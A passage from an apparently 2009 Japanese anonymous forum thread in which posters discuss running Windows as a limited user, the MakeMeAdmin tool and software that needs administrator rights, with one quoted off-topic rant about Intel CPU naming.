09/05/31 08:36:03
MakeMeAdminを実行させパスいれたら
ログオン失敗になる・・・パスあってるのに
なぜだろう
530:名無しさん＠お腹いっぱい。
09/06/08 04:57:05
管理者権限がないと動かないソフト大杉。
安いネットブック買って、ネットに繋がないAdministrator専用PCにすると幸せになれそうだな。
531:名無しさん＠お腹いっぱい。
09/06/13 03:50:18
いいとこなしかよ、結局
532:名無しさん＠お腹いっぱい。
09/06/29 04:17:37
>>531
自分が管理者だという優越感がある
533:名無しさん＠お腹いっぱい。
09/09/24 00:02:28
230 ：名無し.EXE：2009/09/23(水) 23:59:39 ID:Z+PLlkal0
Pentiumが良かった。そう呼べる時代は死語だな。 今時、Corei7が出始めてたあたりから新陳代謝が始まって、今じゃ
スタンダードクラス・ミドルクラス・ハイスペクラスでCorei3,i5,i7なんて格付けとはな。
昔に比べて安価で高性能なパーツが手に入りやすくなったのは、テクノロジーの進化もあるが、このまま進化が続いても、行く末には衰退しかない。
いずれPCなどなくなって、全てクラウドになるんだろうな。
ワープロを使ってた時代（キャノワードって知ってるか？）の人間だけど、win95～になってから、スペック重視が出てきたな。
それでも、win2k,Xpの天下だった時代は、家庭向けがCeleron,高性能なのはPentiumとわかりやすい格付けだったからまだよかった。
C2Dの登場以来、曖昧になって、そのC2Dは早くもCoreix系列になるだろう。今C2DのPCで自慢してるやつ、正直大したことないぞ。
まぁ、Celeronは今も生き続けているのが昔を思い起こさせる唯一の残り香だな。Pentium系列の終焉が目に見えている今、PC業界はもう死滅じゃないか。
必要以上のCPUを出すのは、結局分散するだけで、生き残りがいなくなるだけだ。
534:名無しさん＠お腹いっぱい。
09/10/07 16:00:40
少し手間は掛かるがMakeMeAdminで、セキュリティ面は大丈夫みたい。
535:名無しさん＠お腹いっぱい。
09/10/08 18:17:35
面倒くさいからそのまま使ってる
権限がどうのこうのとか考えたことは一度も無かった
今となってはどうでもいい